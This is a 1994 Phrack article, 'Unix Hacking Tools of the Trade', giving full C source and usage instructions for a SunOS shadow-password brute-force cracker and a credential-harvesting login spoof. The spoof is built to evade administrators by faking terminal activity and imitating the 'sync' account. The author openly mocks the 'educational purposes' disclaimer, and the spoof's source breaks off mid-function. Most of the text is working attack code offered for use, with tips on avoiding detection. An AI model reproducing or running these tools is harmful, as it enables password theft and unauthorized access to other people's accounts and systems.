| ==Phrack Magazine== |
|
|
| Volume Five, Issue Forty-Six, File 11 of 28 |
|
|
| **************************************************************************** |
|
|
|
|
| *********************************** |
| * Unix Hacking Tools of the Trade * |
| * * |
| * By * |
| * * |
| * The Shining/UPi (UK Division) * |
| *********************************** |
|
|
| Disclaimer : |
|
|
| The following text is for educational purposes only and I strongly suggest |
| that it is not used for malicious purposes....yeah right! |
|
|
|
|
| Introduction : |
|
|
| Ok, I decided to release this phile to help out all you guys who wish to |
| start hacking unix. Although these programs should compile & run |
| on your system if you follow the instructions I have given, knowing a bit |
| of C will come in handy if things go wrong. Other docs I suggest you read |
| are older 'phrack' issues with shooting sharks various articles on unix, |
| and of course, 'Unix from the ground up' by The Prophet. |
|
|
| This article includes three programs, a SUNOS Brute force Shadow password |
| file cracker, The Ultimate Login Spoof, and a Unix Account Validator. |
|
|
|
|
|
|
|
|
|
|
| Shadow Crack |
| ------------ |
|
|
| SUNOS Unix brute force shadow password file cracker |
| --------------------------------------------------- |
|
|
| Well, a while back, I saw an article in phrack which included a brute force |
| password cracker for unix. This was a nice idea, except that these days |
| more and more systems are moving towards the shadow password scheme. This, |
| for those of you who are new to unix, involves storing the actual encrypted |
| passwords in a different file, usually only accessible to root. A typical |
| entry from a System V R4 password file looks like this :- |
|
|
| root:x:0:1:Sys. admin:/:/bin/sh |
|
|
|
|
| with the actual encrypted password replaced by an 'x' in the /etc/passwd |
| file. The encrypted password is stored in a file(in the case of sysV) |
| called /etc/shadow which has roughly the following format :- |
|
|
| root:XyfgFekj95Fpq::::: |
|
|
|
|
| this includes the login i.d., the encrypted password, and various other |
| fields which hold info on password ageing etc...(no entry in the other |
| fields indicate they are disabled). |
|
|
| Now this was fine as long as we stayed away from system V's, but now a |
| whole load of other companies have jumped on the bandwagon from IBM (aix) |
| to Suns SUNOS systems. The system I will be dealing with is SUNOS's |
| shadowed system. Now, like sysV, SUNOS also have a system whereby the |
| actual encrypted passwords are stored in a file usually called |
| /etc/security/passwd.adjunct, and normally this is accessible only by root. |
| This rules out the use of brute force crackers, like the one in phrack |
| quite a while back, and also modern day programs like CRACK. A typical |
| /etc/passwd file entry on shadowed SUNOS systems looks like this :- |
|
|
| root:##root:0:1:System Administrator:/:/bin/csh |
|
|
| with the 'shadow' password file taking roughly the same format as that of |
| Sys V, usually with some extra fields. |
|
|
| However, we cannot use a program like CRACK, but SUNOS also supplied a |
| function called pwdauth(), which basically takes two arguments, a login |
| name and decrypted password, which is then encrypted and compared to the |
| appropriate entry in the shadow file, thus if it matches, we have a valid |
| i.d. & password, if not, we don't. |
|
|
| I therefore decided to write a program which would exploit this function, |
| and could be used to get valid i.d's and passwords even on a shadowed |
| system! |
|
|
| To my knowledge the use of the pwdauth() function is not logged, but I could |
| be wrong. I have left it running for a while on the system I use and it has |
| attracted no attention, and the administrator knows his shit. I have seen |
| the functions getspwent() and getspwnam() in Sys V to manipulate the |
| shadow password file, but not a function like pwdauth() that will actually |
| validate the i.d. and password. If such a function does exist on other |
| shadowed systems then this program could be very easily modified to work |
| without problems. |
|
|
| The only real beef I have about this program is that because the |
| pwdauth() function uses the standard unix crypt() function to encrypt the |
| supplied password, it is very slow!!! Even in burst mode, a password file |
| with 1000's of users could take a while to get through. My advice is |
| to run it in the background and direct all its screen output to /dev/null |
| like so :- |
|
|
| shcrack -mf -uroot -ddict1 > /dev/null & |
|
|
| Then you can log out then come back and check on it later! |
|
|
| The program works in a number of modes, all of which I will describe below, |
| is command line driven, and can be used to crack both multiple accounts in |
| the password file and single accounts specified. It is also NIS/NFS (Sun |
| Yellow Pages) compatible. |
|
|
|
|
| How to use it |
| ------------- |
|
|
| shcrack -m[mode] -p[password file] -u[user id] -d[dictionary file] |
|
|
| Usage :- |
|
|
| -m[mode] there are 3 modes of operation :- |
|
|
| -mb Burst mode, this scans the password file, trying the minimum number |
| of password guessing strategies on every account. |
|
|
| -mi Mini-burst mode, this also scans the password file, and tries most |
| password guessing strategies on every account. |
|
|
| -mf Brute-force mode, tries all password strategies, including the use |
| of words from a dictionary, on a single account specified. |
|
|
|
|
| more about these modes in a sec, the other options are :- |
|
|
|
|
| -p[password file] This is the password file you wish to use, if this is |
| left unspecified, the default is /etc/passwd. |
| NB: The program automatically detects and uses the |
| password file wherever it may be in NIS/NFS systems. |
|
|
|
|
| -u[user id] The login i.d. of the account you wish to crack, this is used |
| in Brute-force single user mode. |
|
|
|
|
| -d[dict file] This uses the words in a dictionary file to generate |
| possible passwords for use in single user brute force |
| mode. If no filename is specified, the program only uses the |
| password guessing strategies without using the dictionary. |
|
|
|
|
| Modes |
| ^^^^^ |
|
|
| -mb Burst mode basically gets each account from the appropriate password |
| file and uses two methods to guess its password. Firstly, it uses the |
| account name as a password, this name is then reversed and tried as a |
| possible password. This may seem like a weak strategy, but remember, |
| the users passwords are already shadowed, and therefore are deemed to |
| be secure. This can lead to sloppy passwords being used, and I have |
| came across many cases where the user has used his/her i.d. as a |
| password. |
|
|
|
|
| -mi Mini-burst mode uses a number of other password generating methods |
| as well as the 2 listed in burst mode. One of the methods involves |
| taking the login i.d. of the account being cracked, and appending the |
| numbers 0 to 9 to the end of it to generate possible passwords. If |
| this mode has no luck, it then uses the accounts gecos 'comment' |
| information from the password file, splitting it into words and |
| trying these as passwords. Each word from the comment field is also |
| reversed and tried as a possible password. |
|
|
|
|
| -mf Brute-force single user mode uses all the above techniques for password |
| guessing as well as using a dictionary file to provide possible |
| passwords to crack a single account specified. If no dictionary filename |
| is given, this mode operates on the single account using the |
| same methods as mini-burst mode, without the dictionary. |
|
|
|
|
| Using shadow crack |
| ------------------ |
|
|
| To get program help from the command line just type :- |
|
|
| $ shcrack <RETURN> |
|
|
| which will show you all the modes of operation. |
|
|
| If you wanted to crack just the account 'root', located in |
| /etc/passwd(or elsewhere on NFS/NIS systems), using all methods |
| including a dictionary file called 'dict1', you would do :- |
|
|
| $ shcrack -mf -uroot -ddict1 |
|
|
|
|
| to do the above without using the dictionary file, do :- |
|
|
| $ shcrack -mf -uroot |
|
|
|
|
| or to do the above but in password file 'miner' do :- |
|
|
| $ shcrack -mf -pminer -uroot |
|
|
|
|
| to start cracking all accounts in /etc/passwd, using minimum password |
| strategies do :- |
|
|
| $ shcrack -mb |
|
|
|
|
| to do the above but on a password file called 'miner' in your home |
| directory do :- |
|
|
| $ shcrack -mb -pminer |
|
|
|
|
| to start cracking all accounts in 'miner', using all strategies except |
| dictionary words do :- |
|
|
| $ shcrack -mi -pminer |
|
|
|
|
| ok, heres the code, ANSI C Compilers only :- |
|
|
| ---cut here------------------------------------------------------------------- |
|
|
| /* Program : Shadow Crack |
| Author : (c)1994 The Shining/UPi (UK Division) |
| Date : Released 12/4/94 |
| Unix type : SUNOS Shadowed systems only */ |
|
|
| #include <stdio.h> |
| #include <pwd.h> |
| #include <string.h> |
| #include <ctype.h> |
| #include <signal.h> |
|
|
| #define WORDSIZE 20 /* Maximum word size */ |
| #define OUTFILE "data" /* File to store cracked account info */ |
|
|
| void word_strat( void ), do_dict( void ); |
| void add_nums( char * ), do_comment( char * ); |
| void try_word( char * ), reverse_word( char * ); |
| void find_mode( void ), burst_mode( void ); |
| void mini_burst( void ), brute_force( void ); |
| void user_info( void ), write_details( char * ); |
| void pwfile_name( void ), disable_interrupts( void ), cleanup(); |
|
|
|
|
| char *logname, *comment, *homedir, *shell, *dict, *mode, |
| *pwfile, *pwdauth(); |
| struct passwd *getpwnam(), *pwentry; |
| extern char *optarg; |
| int option, uid, gid; |
|
|
|
|
| int main( int argc, char **argv ) |
| { |
| disable_interrupts(); |
| system("clear"); |
|
|
| if (argc < 2) { |
| printf("Shadow Crack - (c)1994 The Shining\n"); |
| printf("SUNOS Shadow password brute force cracker\n\n"); |
| printf("useage: %s -m[mode] -p[pwfile] -u[loginid] ", argv[0]); |
| printf("-d[dictfile]\n\n\n"); |
| printf("[b] is burst mode, scans pwfile trying minimum\n"); |
| printf(" password strategies on all i.d's\n\n"); |
| printf("[i] is mini-burst mode, scans pwfile trying both\n"); |
| printf(" userid, gecos info, and numbers to all i.d's\n\n"); |
| printf("[f] is bruteforce mode, tries all above stategies\n"); |
| printf(" as well as dictionary words\n\n"); |
| printf("[pwfile] Uses the password file [pwfile], default\n"); |
| printf(" is /etc/passwd\n\n"); |
| printf("[loginid] Account you wish to crack, used with\n"); |
| printf(" -mf bruteforce mode only\n\n"); |
| printf("[dictfile] uses dictionary file [dictfile] to\n"); |
| printf(" generate passwords when used with\n"); |
| printf(" -mf bruteforce mode only\n\n"); |
| exit(0); |
| } |
|
|
|
|
| /* Get options from the command line and store them in different |
| variables */ |
|
|
| while ((option = getopt(argc, argv, "m:p:u:d:")) != EOF) |
| switch(option) |
| { |
| case 'm': |
| mode = optarg; |
| break; |
|
|
| case 'p': |
| pwfile = optarg; |
| break; |
|
|
| case 'u': |
| logname = optarg; |
| break; |
|
|
| case 'd': |
| dict = optarg; |
| break; |
|
|
| default: |
| printf("wrong options\n"); |
| break; |
| } |
|
|
| find_mode(); |
| } |
|
|
|
|
| /* Routine to redirect interrupts */ |
|
|
| void disable_interrupts( void ) |
| { |
| signal(SIGHUP, SIG_IGN); |
| signal(SIGTSTP, cleanup); |
| signal(SIGINT, cleanup); |
| signal(SIGQUIT, cleanup); |
| signal(SIGTERM, cleanup); |
| } |
|
|
|
|
| /* If CTRL-Z or CTRL-C is pressed, clean up & quit */ |
|
|
| void cleanup( void ) |
| { |
| FILE *fp; |
|
|
| if ((fp = fopen("gecos", "r")) != NULL) |
| remove("gecos"); |
|
|
| if ((fp = fopen("data", "r")) == NULL) |
| printf("\nNo accounts cracked\n"); |
|
|
| printf("Quitting\n"); |
| exit(0); |
| } |
|
|
|
|
| /* Function to decide which mode is being used and call appropriate |
| routine */ |
|
|
| void find_mode( void ) |
| { |
| if (strcmp(mode, "b") == NULL) |
| burst_mode(); |
| else |
| if (strcmp(mode, "i") == NULL) |
| mini_burst(); |
| else |
| if (strcmp(mode, "f") == NULL) |
| brute_force(); |
| else |
| { |
| printf("Sorry - No such mode\n"); |
| exit(0); |
| } |
| } |
|
|
|
|
| /* Get a users information from the password file */ |
|
|
| void user_info( void ) |
| { |
| uid = pwentry->pw_uid; |
| gid = pwentry->pw_gid; |
| comment = pwentry->pw_gecos; |
| homedir = pwentry->pw_dir; |
| shell = pwentry->pw_shell; |
| } |
|
|
|
|
|
|
| /* Set the filename of the password file to be used, default is |
| /etc/passwd */ |
|
|
| void pwfile_name( void ) |
| { |
| if (pwfile != NULL) |
| setpwfile(pwfile); |
| } |
|
|
|
|
|
|
| /* Burst mode, tries user i.d. & then reverses it as possible passwords |
| on every account found in the password file */ |
|
|
| void burst_mode( void ) |
| { |
| pwfile_name(); |
| setpwent(); |
|
|
| while ((pwentry = getpwent()) != (struct passwd *) NULL) |
| { |
| logname = pwentry->pw_name; |
| user_info(); |
| try_word( logname ); |
| reverse_word( logname ); |
| } |
|
|
| endpwent(); |
| } |
|
|
|
|
| /* Mini-burst mode, try above combinations as well as other strategies |
| which include adding numbers to the end of the user i.d. to generate |
| passwords or using the comment field information in the password |
| file */ |
|
|
| void mini_burst( void ) |
| { |
| pwfile_name(); |
| setpwent(); |
|
|
| while ((pwentry = getpwent()) != (struct passwd *) NULL) |
| { |
| logname = pwentry->pw_name; |
| user_info(); |
| word_strat(); |
| } |
|
|
| endpwent(); |
| } |
|
|
|
|
| /* Brute force mode, uses all the above strategies as well using a |
| dictionary file to generate possible passwords */ |
|
|
| void brute_force( void ) |
| { |
| pwfile_name(); |
| setpwent(); |
|
|
| if ((pwentry = getpwnam(logname)) == (struct passwd *) NULL) { |
| printf("Sorry - User unknown\n"); |
| exit(0); |
| } |
| else |
| { |
| user_info(); |
| word_strat(); |
| do_dict(); |
| } |
|
|
| endpwent(); |
| } |
|
|
|
|
| /* Calls the various password guessing strategies */ |
|
|
| void word_strat() |
| { |
| try_word( logname ); |
| reverse_word( logname ); |
| add_nums( logname ); |
| do_comment( comment ); |
| } |
|
|
|
|
| /* Takes the user name as its argument and then generates possible |
| passwords by adding the numbers 0-9 to the end. If the username |
| is greater than 7 characters, don't bother */ |
|
|
| void add_nums( char *wd ) |
| { |
| int i; |
| char temp[2], buff[WORDSIZE]; |
|
|
| if (strlen(wd) < 8) { |
|
|
| for (i = 0; i < 10; i++) |
| { |
| strcpy(buff, wd); |
| sprintf(temp, "%d", i); |
| strcat(wd, temp); |
| try_word( wd ); |
| strcpy(wd, buff); |
| } |
|
|
| } |
| } |
|
|
|
|
|
|
| /* Gets info from the 'gecos' comment field in the password file, |
| then process this information generating possible passwords from it */ |
|
|
| void do_comment( char *wd ) |
| { |
| FILE *fp; |
|
|
| char temp[2], buff[WORDSIZE]; |
| int c, flag; |
|
|
| flag = 0; |
|
|
|
|
| /* Open file & store users gecos information in it. w+ mode |
| allows us to write to it & then read from it. */ |
|
|
| if ((fp = fopen("gecos", "w+")) == NULL) { |
| printf("Error writing gecos info\n"); |
| exit(0); |
| } |
|
|
| fprintf(fp, "%s\n", wd); |
| rewind(fp); |
|
|
| strcpy(buff, ""); |
|
|
|
|
| /* Process users gecos information, separate words by checking for the |
| ',' field separater or a space. */ |
|
|
| while ((c = fgetc(fp)) != EOF) |
| { |
|
|
| if (( c != ',' ) && ( c != ' ' )) { |
| sprintf(temp, "%c", c); |
| strncat(buff, temp, 1); |
| } |
| else |
| flag = 1; |
|
|
|
|
| if ((isspace(c)) || (c == ',') != NULL) { |
|
|
| if (flag == 1) { |
| c=fgetc(fp); |
|
|
| if ((isspace(c)) || (iscntrl(c) == NULL)) |
| ungetc(c, fp); |
| } |
|
|
| try_word(buff); |
| reverse_word(buff); |
| strcpy(buff, ""); |
| flag = 0; |
| strcpy(temp, ""); |
| } |
|
|
| } |
| fclose(fp); |
| remove("gecos"); |
| } |
|
|
|
|
|
|
| /* Takes a string of characters as its argument(in this case the login |
| i.d., and then reverses it */ |
|
|
| void reverse_word( char *wd ) |
| { |
| char temp[2], buff[WORDSIZE]; |
| int i; |
|
|
| i = strlen(wd) + 1; |
| strcpy(temp, ""); |
| strcpy(buff, ""); |
|
|
| do |
| { |
| i--; |
| if ((isalnum(wd[i]) || (ispunct(wd[i]))) != NULL) { |
| sprintf(temp, "%c", wd[i]); |
| strncat(buff, temp, 1); |
| } |
|
|
| } while(i != 0); |
|
|
| if (strlen(buff) > 1) |
| try_word(buff); |
| } |
|
|
|
|
|
|
| /* Read one word at a time from the specified dictionary for use |
| as possible passwords, if dictionary filename is NULL, ignore |
| this operation */ |
|
|
| void do_dict( void ) |
| { |
| FILE *fp; |
| char buff[WORDSIZE], temp[2]; |
| int c; |
|
|
| strcpy(buff, ""); |
| strcpy(temp, ""); |
|
|
|
|
| if (dict == NULL) |
| exit(0); |
|
|
| if ((fp = fopen(dict, "r")) == NULL) { |
| printf("Error opening dictionary file\n"); |
| exit(0); |
| } |
|
|
| rewind(fp); |
|
|
|
|
| while ((c = fgetc(fp)) != EOF) |
| { |
| if ((c != ' ') || (c != '\n')) { |
| strcpy(temp, ""); |
| sprintf(temp, "%c", c); |
| strncat(buff, temp, 1); |
| } |
|
|
| if (c == '\n') { |
| if (buff[0] != ' ') |
| try_word(buff); |
|
|
| strcpy(buff, ""); |
| } |
| } |
|
|
| fclose(fp); |
| } |
|
|
|
|
| /* Process the word to be used as a password by stripping \n from |
| it if necessary, then use the pwdauth() function, with the login |
| name and word to attempt to get a valid id & password */ |
|
|
| void try_word( char pw[] ) |
| { |
| int pwstat, i, pwlength; |
| char temp[2], buff[WORDSIZE]; |
|
|
| strcpy(buff, ""); |
| pwlength = strlen(pw); |
|
|
| for (i = 0; i != pwlength; i++) |
| { |
|
|
| if (pw[i] != '\n') { |
| strcpy(temp, ""); |
| sprintf(temp, "%c", pw[i]); |
| strncat(buff, temp, 1); |
| } |
| } |
|
|
| if (strlen(buff) > 3 ) { |
| printf("Trying : %s\n", buff); |
|
|
| if (pwstat = pwdauth(logname, buff) == NULL) { |
| printf("Valid Password! - writing details to 'data'\n"); |
|
|
| write_details(buff); |
|
|
| if (strcmp(mode, "f") == NULL) |
| exit(0); |
| } |
| } |
| } |
|
|
|
|
|
|
| /* If valid account & password, store this, along with the accounts |
| uid, gid, comment, homedir & shell in a file called 'data' */ |
|
|
| void write_details( char *pw ) |
| { |
| FILE *fp; |
|
|
| if ((fp = fopen(OUTFILE, "a")) == NULL) { |
| printf("Error opening output file\n"); |
| exit(0); |
| } |
|
|
| fprintf(fp, "%s:%s:%d:%d:", logname, pw, uid, gid); |
| fprintf(fp, "%s:%s:%s\n", comment, homedir, shell); |
| fclose(fp); |
| } |
|
|
| ---cut here------------------------------------------------------------------- |
|
|
| again to compile it do :- |
|
|
| $ gcc shcrack.c -o shcrack |
|
|
| or |
|
|
| $ acc shcrack.c -o shcrack |
|
|
| this can vary depending on your compiler. |
|
|
|
|
|
|
|
|
| The Ultimate Login Spoof |
| ^^^^^^^^^^^^^^^^^^^^^^^^ |
|
|
| Well this subject has been covered many times before but its a while since |
| I have seen a good one, and anyway I thought other unix spoofs have had two |
| main problems :- |
|
|
| 1) They were pretty easy to detect when running |
| 2) They recorded any only shit entered..... |
|
|
|
|
| Well now I feel these problems have been solved with the spoof below. |
| Firstly, I want to say that no matter how many times spoofing is deemed as |
| a 'lame' activity, I think it is very underestimated. |
|
|
|
|
| When writing this I have considered every possible feature such a program |
| should have. The main ones are :- |
|
|
|
|
| 1) To validate the entered login i.d. by searching for it in the |
| password file. |
|
|
| 2) Once validated, to get all information about the account entered |
| including - real name etc from the comment field, homedir info |
| (e.g. /homedir/miner) and the shell the account is using and |
| store all this in a file. |
|
|
| 3) To keep the spoofs tty idle time to 0, thus not to arouse the |
| administrators suspicions. |
|
|
| 4) To validates passwords before storing them, on all unshadowed unix systems |
| & SUNOS shadowed/unshadowed systems. |
|
|
| 5) To emulates the 'sync' dummy account, thus making it act like the |
| real login program. |
|
|
| 6) Disable all interrupts(CTRL-Z, CTRL-D, CTRL-C), and automatically |
| quit if it has not grabbed an account within a specified time. |
|
|
| 7) To automatically detect & display the hostname before the login prompt |
| e.g. 'ccu login:', this feature can be disabled if desired. |
|
|
| 8) To run continuously until a valid i.d. & valid password are entered. |
|
|
|
|
|
|
| As well as the above features, I also added a few more to make the spoof |
| 'foolproof'. At university, a lot of the users have been 'stung' by |
| login spoofs in the past, and so have become very conscious about security. |
|
|
| For example, they now try and get around spoofs by entering any old crap when |
| prompted for their login name, or to hit return a few times, to prevent any |
| 'crappy' spoofs which may be running. This is where my spoof shines!, |
| firstly if someone was to enter - |
|
|
| login: dhfhfhfhryr |
| Password: |
|
|
|
|
| into the spoof, it checks to see if the login i.d. entered is |
| valid by searching for it in the password file. If it exists, the |
| spoof then tries to validate the password. If both the i.d. & password |
| are valid, these will be stored in a file called .data, along with |
| additional information about the account taken directly from the password |
| file. |
|
|
| Now if, as in the case above, either the login name or password is |
| incorrect, the information is discarded, and the login spoof runs again, |
| waiting for a valid user i.d. & password to be entered. |
|
|
| Also, a lot of systems these days have an unpassworded account called |
| 'sync', which when logged onto, usually displays the date & time the |
| sync account was last logged into, and from which server or tty, |
| the message of the day, syncs the disk, and then logs you straight out. |
|
|
| A few people have decided that the best way to dodge login spoofs is to |
| first login to this account then when they are automatically logged out, |
| to login to their own account. |
|
|
| They do this firstly, so that if a spoof is running it only records the |
| details of the sync account and secondly the spoof would not act as the |
| normal unix login program would, and therefore they would spot it and report |
| it, thus landing you in the shit with the system administrator. |
|
|
| However, I got around this problem so that when someone |
| tries to login as sync (or another account of a similar type, which you can |
| define), it acts exactly like the normal login program would, right down to |
| displaying the system date & time as well as the message of the day!! |
|
|
|
|
| The idle time facility |
| ---------------------- |
|
|
| One of the main problems with unix spoofs, is they can be spotted |
| so easily by the administrator, as he/she could get a list of current |
| users on the system and see that an account was logged on, and had been |
| idle for maybe 30 minutes. They would then investigate & the spoof |
| would be discovered. |
|
|
| I have therefore incorporated a scheme in the spoof whereby |
| approx. every minute, the tty the spoof is executed from, is 'touched' |
| with the current time, this effectively simulates terminal activity & |
| keeps the terminals idle time to zero, which helps the spoofs chances |
| of not being discovered greatly. |
|
|
| The spoof also incorporates a routine which will automatically |
| keep track of approximately how long the spoof has been running, and if |
| it has been running for a specified time without grabbing an i.d. or password, |
| will automatically exit and run the real login program. |
| This timer is by default set to 12.5 minutes, but you can alter this time |
| if you wish. |
|
|
| Note: Due to the varying processing power of some systems, I could not |
| set the timer to exactly 60 seconds, I have therefore set it to 50, |
| incase it loses or gains extra time. Take this into consideration when |
| setting the spoofs timer to your own value. I recommend you |
| stick with the default, and under no circumstances let it run |
| for hours. |
|
|
|
|
|
|
| Password Validation techniques |
| ------------------------------ |
|
|
| The spoof basically uses 2 methods of password validation(or none at |
| all on a shadowed system V). Firstly, when the spoof is used on any unix |
| with an unshadowed password file, it uses the crypt function to validate a |
| password entered. If however the system is running SUNOS 4.1.+ and |
| incorporates the shadow password system, the program uses a function called |
| pwdauth(). This takes the login i.d. & decrypted password as its arguments |
| and checks to see if both are valid by encrypting the password and |
| comparing it to the shadowed password file which is usually located in |
| /etc/security and accessible only by root. By validating both the i.d. & |
| password we ensure that the data which is saved to file is correct and not |
| any old bullshit typed at the terminal!!! |
|
|
|
|
|
|
| Executing the Spoof |
| ------------------- |
|
|
|
|
| ok, now about the program. This is written in ANSI-C, so I hope you have a |
| compatible compiler, GCC or suns ACC should do it. Now the only time you |
| will need to change to the code is in the following circumstances :- |
|
|
| 1) If you are to compile & run it on an unshadowed unix, |
| in which case remove all references to the pwdauth() function, |
| from both the declarations & the shadow checking routine, add |
| this code in place of the shadow password checking routine :- |
|
|
| if ( shadow == 1 ) { |
| invalid = 0; |
| else |
| invalid = 1; |
| } |
|
|
| 2) Add the above code also to the spoof if you are running this on a system |
| V which is shadowed. In this case the spoof loses its ability to |
| validate the password, to my knowledge there is no sysV equivalent |
| of the pwdauth() function. |
|
|
| Everything else should be pretty much compatible. You should have no |
| problems compiling & running this on an unshadowed SUNOS machine, if |
| you do, make the necessary changes as above, but it compiled ok |
| on every unshadowed SUNOS I tested it on. The Spoof should |
| automatically detect whether a SUNOS system is shadowed or unshadowed |
| and run the appropriate code to deal with each situation. |
|
|
| Note: when you have compiled this spoof, you MUST 'exec' it from the |
| current shell for it to work, you must also only have one shell |
| running. e.g. from C or Bourne shell using the GNU C Compiler do :- |
|
|
| $ gcc spoof.c -o spoof |
| $ exec spoof |
|
|
| This replaces the current shell with the spoof, so when the spoof quits & |
| runs the real login program, the hackers account is effectively logged off. |
|
|
| ok enough of the bullshit, here's the spoof :- |
|
|
|
|
| ----------cut here------------------------------------------------------- |
|
|
| /* Program : Unix login spoof |
| Author : The Shining/UPi (UK Division) |
| Date : Released 12/4/94 |
| Unix Type : All unshadowed unix systems & |
| shadowed SUNOS systems |
| Note : This file MUST be exec'd from the shell. */ |
|
|
|
|
| #include <stdio.h> |
| #include <string.h> |
| #include <signal.h> |
| #include <pwd.h> |
| #include <time.h> |
| #include <utime.h> |
|
|
| #define OUTFILE ".data" /* Data file to save account info into */ |
| #define LOGPATH "/usr/bin/login" /* Path of real login program */ |
| #define DUMMYID "sync" /* Dummy account on your system */ |
| #define DLENGTH 4 /* Length of dummy account name */ |
|
|
|
|
| FILE *fp; |
|
|
|
|
| /* Set up variables to store system time & date */ |
|
|
| time_t now; |
|
|
| static int time_out, time_on, no_message, loop_cnt; |
|
|
|
|
| /* Set up a structure to store users information */ |
|
|
| struct loginfo { |
| char logname[10]; |
| char key[9]; |
| char *comment; |
| char *homedir; |
| char *shell; |
| } u; |
|
|
|
|
| /* Use the unix function getpass() to read user password and |
| crypt() or pwdauth() (remove it below if not SUNOS) |
| to validate it etc */ |
|
|
| char *getpass(), *gethostname(), *alarm(), *sleep(), |
| *crypt(), *ttyname(), *pwdauth(), motd, log_date[60], |
| pass[14], salt[3], *tty, cons[] = " on console ", |
| hname[72], *ld; |
|
|
|
|
| /* flag = exit status, ppid = pid shell, wait = pause length, |
| pwstat = holds 0 if valid password, shadow holds 1 if shadow |
| password system is being used, 0 otherwise. */ |
|
|
| int flag, ppid, wait, pwstat, shadow, invalid; |
|
|
|
|
| /* Declare main functions */ |
|
|
| void write_details(struct loginfo *); |
| void catch( void ), disable_interrupts( void ); |
| void log_out( void ), get_info( void ), |
| invalid_login( void ), prep_str( char * ); |
|
|
|
|
| /* set up pointer to point to pwfile structure, and also |
| a pointer to the utime() structure */ |
|
|
|
|
| struct passwd *pwentry, *getpwnam(); |
| struct utimbuf *times; |
|
|
|
|
| int main( void ) |
| { |
| system("clear"); |
|
|
| /* Initialise main program variables to 0, change 'loop_cnt' to 1 |
| if you do not want the machines host name to appear with |
| the login prompt! (e.g. prompt is `login:` instead of |
| 'MIT login:' etc) */ |
|
|
| wait = 3; /* Holds value for pause */ |
| flag = 0; /* Spoof ends if value is 1 */ |
| loop_cnt = 0; /* Change this to 1 if no host required */ |
| time_out = 0; /* Stops timer if spoof has been used */ |
| time_on = 0; /* Holds minutes spoof has been running */ |
| disable_interrupts(); /* Call function to disable Interrupts */ |
|
|
|
|
| /* Get system time & date and store in log_date, this is |
| displayed when someone logs in as 'sync' */ |
|
|
| now = time(NULL); |
| strftime(log_date, 60, "Last Login: %a %h %d %H:%M:%S", localtime(&now)); |
| strcat(log_date, cons); |
| ld = log_date; |
|
|
|
|
| /* Get Hostname and tty name */ |
|
|
| gethostname(hname, 64); |
| strcat(hname, " login: "); |
| tty = ttyname(); |
|
|
|
|
| /* main routine */ |
|
|
| while( flag == 0 ) |
| { |
| invalid = 0; /* Holds 1 if id +/or pw are invalid */ |
| shadow = 0; /* 1 if shadow scheme is in operation */ |
| no_message = 0; /* Flag for Login Incorrect msg */ |
| alarm(50); /* set timer going */ |
| get_info(); /* get user i.d. & password */ |
|
|
|
|
| /* Check to see if the user i.d. entered is 'sync', if it is |
| display system time & date, display message of the day and |
| then run the spoof again, insert the account of your |
| choice here, if its not sync, but remember to put |
| the length of the accounts name next to it! */ |
|
|
| if (strncmp(u.logname, DUMMYID, DLENGTH) == NULL) { |
| printf("%s\n", ld); |
|
|
| if ((fp = fopen("/etc/motd", "r")) != NULL) { |
| while ((motd = getc(fp)) != EOF) |
| putchar(motd); |
|
|
| fclose(fp); |
| } |
|
|
| printf("\n"); |
| prep_str(u.logname); |
| no_message = 1; |
| sleep(wait); |
| } |
|
|
|
|
| /* Check if a valid user i.d. has been input, then check to see if |
| the password system is shadowed or unshadowed. |
| If both the user i.d. & password are valid, get additional info |
| from the password file, and store all info in a file called .data, |
| then exit spoof and run real login program */ |
|
|
| setpwent(); /* Rewind pwfile to beign processing */ |
|
|
|
|
| if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL) { |
| invalid = 1; |
| flag = 0; |
| } |
| else |
| strncpy(salt, pwentry->pw_passwd, 2); |
|
|
|
|
| /* Check for shadowed password system, in SUNOS, the field in /etc/passwd |
| should begin with '##', in system V it could contain an 'x', if none |
| of these exist, it checks that the entry = 13 chars, if less then |
| shadow system will probably be implemented (unless acct has been |
| disabled) */ |
|
|
| if ( invalid == 0 ) { |
|
|
| if ((strcmp(salt, "##")) || (strncmp(salt, "x", 1)) == NULL) |
| shadow = 1; |
| else |
| if (strlen(pwentry->pw_passwd) < 13) |
| shadow = 1; |
|
|
|
|
| /* If unshadowed, use the salt from the pwfile field & the key to |
| form the encrypted password which is checked against the entry |
| in the password file, if it matches, then all is well, if not, |
| spoof runs again!! */ |
|
|
| if ( shadow != 1 ) { |
|
|
| if (strcmp(pwentry->pw_passwd, crypt(u.key, salt)) == NULL) |
| invalid = 0; |
| else |
| invalid = 1; |
| } |
|
|
|
|
| /* If SUNOS Shadowing is in operation, use the pwdauth() function |
| to validate the password, if not SUNOS, substitute this code |
| with the routine I gave earlier! */ |
|
|
| if ( shadow == 1 ) { |
| if (pwstat = pwdauth(u.logname, u.key) == NULL) |
| invalid = 0; |
| else |
| invalid = 1; |
| } |
| } |
|
|
|
|
| /* If we have a valid account & password, get user info from the |
| pwfile & store it */ |
|
|
| if ( invalid == 0 ) { |
|
|
| u.comment = pwentry->pw_gecos; |
| u.homedir = pwentry->pw_dir; |
| u.shell = pwentry->pw_shell; |
|
|
| /* Open file to store user info */ |
|
|
| if ((fp = fopen(OUTFILE, "a")) == NULL) |
| log_out(); |
|
|
| write_details(&u); |
| fclose(fp); |
| no_message = 1; |
| flag = 1; |
| } |
| else |
| flag = 0; |
|
|
| invalid_login(); |
|
|
| endpwent(); /* Close pwfile */ |
|
|
| if (no_message == 0) |
| loop_cnt++; |
|
|
| } /* end while */ |
|
|
| log_out(); /* call real login program */ |
|
|
| } |
|
|
|
|
| /* Function to read user i.d. & password */ |
|
|
| void get_info( void ) |
| { |
| char user[11]; |
| unsigned int string_len; |
|
|
| fflush(stdin); |
| prep_str(u.logname); |
| prep_str(u.key); |
| strcpy(user, "\n"); |
|
|
|
|
| /* Loop while some loser keeps hitting return when asked for user |
| i.d. and if someone hits CTRL-D to break out of spoof. Enter |
| a # at login to exit spoof. Uncomment the appropriate line(s) |
| below to customise the spoof to look like your system */ |
|
|
| while ((strcmp(user, "\n") == NULL) && (!feof(stdin))) |
| { |
| /* printf("Scorch Ltd SUNOS 4.1.3\n\n); */ |
|
|
| if (loop_cnt > 0) |
| strcpy(hname, "login: "); |
|
|
| printf("%s", hname); |
| fgets(user, 9, stdin); |
|
|
|
|
| /* Back door for hacker, # at present, can be changed, |
| but leave \n in. */ |
|
|
| if (strcmp(user, "#\n") == NULL) |
| exit(0); |
|
|
|
|
| /* Strip \n from login i.d. */ |
|
|
| if (strlen(user) < 8) |
| string_len = strlen(user) - 1; |
| else |
| string_len = strlen(user); |
|
|
